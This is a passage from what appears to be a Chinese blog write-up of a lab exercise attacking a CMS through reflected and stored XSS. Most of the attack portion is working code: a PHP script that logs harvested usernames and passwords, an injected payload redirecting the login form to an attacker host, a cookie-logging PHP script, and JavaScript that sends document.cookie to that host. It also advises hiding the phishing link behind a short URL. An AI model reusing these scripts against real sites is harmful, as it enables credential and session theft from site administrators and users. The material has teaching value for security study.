zoukankan      html  css  js  c++  java
  • CMS 文件管理系统:XSS 漏洞获取密码和 cookie

    XSS 漏洞查找

    反射型 XSS

    反射型 XSS 的恶意代码不会存储在远程 web 应用程序中,而是会马上被触发。进入页面,使用搜索功能,可以看到使用的是 GET 方法传参,用于搜索的参数是 keywords 和 button。

    直接向 keywords 传递参数“”,由于参数被传递进入后会被直接执行,所以可以看到我们注入的脚本执行成功。

    存储型 XSS

    进入留言功能界面,输入 payload “”,这句代码会回显 cookie 信息。

    编写完成后,完成提交。

    上传成功后,进入管理员后台管理系统,可以看到一打开查看这个留言,XSS 攻击就被触发返回 cookie 信息,攻击成功。

    利用 XSS 获取管理员账号

    攻击思路

    编写获取账号信息的 php 脚本,获取用户输入的用户名和密码,完成修改表单提交对象的攻击。攻击的步骤如下:

    1. 编写获取账号密码信息的 php 脚本 save.php,存放在攻击主机的网站目录下,通过 save.php 获取到的用户名和密码存放在 save.txt 中;
    2. 将页面中登录按钮提交表单的 action 地址改为攻击主机中 save.php 的地址;
    3. 使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。

    生成并放置攻击脚本

    首先先查看一下网页的源码,看看登录界面输入的是哪些参数,分别是 username 和 password。

    编写用于接收用户名和密码的 php 文件,将用户名和密码写入文件后跳转到登录界面完成工作。

    <?php
    $username = $_POST['username'];
    $passward = $_POST['password'];
    $result = fopen("save.txt","a");
    fwrite($result, $username.'+++'.$passward."\n");
    fclose($result);
    echo "<form style='display:none;' id='form1' name='form1' method='post' action='http://192.168.176.134/admin/login.action.php'>
        <input name='username' type='text' value='".$username."'/>
        <input name='password' type='text' value='".$passward."'/>
      </form>
      <script type='text/javascript'>function load_submit(){document.form1.submit()}load_submit();</script>";
    ?>
    

    将获取用户名和密码的 php 文件放在攻击网站的目录下,此处靶场在虚拟机,将 php 文件放在主机的站点下。

    修改表单提交地址

    接着检查页面中登录按钮提交表单的 action 地址,改为攻击主机中 save.php 的地址。

    要做到这点需要使用反射型 XSS,利用 username 参数向它注入一段 JavaScript 脚本。

    ?username=<script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script>
    


    意到直接输入会乱码,以为此处将嵌入一个 input 标签,因此需要将这个标签的前后闭合。我选择使用 p 标签闭合后面的尖括号,这样 payload 脚本就准备好了。

    ?username="><script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script><p id="234
    

    生成短网址

    使用短网址生成网页, 不让对方容易察觉这是一个钓鱼网站。

    攻击测试

    模拟管理员登录系统,输入用户名和密码后进行登录。

    由于攻击脚本保存完用户名和密码后会重定向到登录验证界面,且可以使用 post 发送用户名和密码,所以管理员可以正常登录。

    可以看到攻击脚本已经获取用户名和密码了,使用 XSS 获取成功。

    利用 XSS 获取 cookie

    攻击思路

    在文章管理系统的留言板上发表 JavaScript 语句,用来盗取管理员的 cookie。攻击的步骤如下:

    1. 编写盗取 cookie 的 php 脚本 cookie.php、js 脚本 xss.js。存放在攻击主机的网站主机的根目录下,通过 cookie.php 获取到的用户名和密码存放在 cookie.txt 中。
    2. 在文章管理系统的留言板上发表留言内容为 javascript 语句,当管理查看时触发 js。

    生成并放置攻击脚本

    首先先编写保存 cookie 的 php 脚本。

    <?php
    $cookie = $_POST['cookie'];
    $result = fopen( "getcookie.txt" , "a");fwrite($result, $cookie." \n");
    fclose($result);
    echo "Cookie Success ! ";
    ?>
    

    然后编写获取 cookie 并发送的 JavaScript 脚本,脚本得到 cookie 之后将发送给 php 脚本进行保存。

    function getCookie(){
        var url= "http://192.168.9.97/cookie.php";
        var data= 'cookie= '+ document.cookie;
        var getck=new XMLHttpRequest();
        getck.open('POST', url);
        getck.setRequestHeader('content-type','application/x-www-form-urlencoded');
        getck.send(data);
    }
    getCookie();
    

    将这两段攻击脚本放在网站根目录下。

    利用存储型 XSS 漏洞

    接着提交留言,在留言板界面嵌入 JavaScript 脚本,远程包含我们放在自己站点下的获取 cookie 的脚本,包含后就会自动执行。

    提交留言,系统提示留言成功。

    攻击测试

    管理员打开留言管理界面,什么都看不到,但是已经将 cookie 泄露出去了。


    在管理员界面按 F12 查看源码,可以看到网站已经将远程包含 js 文件的操作执行了。

  • 相关阅读:
    IOS应用开发版本控制工具之Versions使用,iosversions
    关于cocoapods安装与使用的总结
    Objective-c单例模式的正确写法--用dispatch 线程安全
    C语言中Static和Const关键字的的作用 -- 转
    OC中protocol、category和继承的关系--转
    iOS- NSThread/NSOperation/GCD 三种多线程技术的对比及实现 -- 转
    Object C学习笔记18-SEL,@ selector,Class,@class--转
    COPY, RETAIN, ASSIGN , READONLY , READWRITE,STRONG,WEAK,NONATOMIC整理--转
    Ubuntu下环境变量该写进哪个文件里
    python 写一个贪吃蛇游戏
  • 原文地址:https://www.cnblogs.com/linfangnan/p/15780624.html
Copyright © 2011-2022 走看看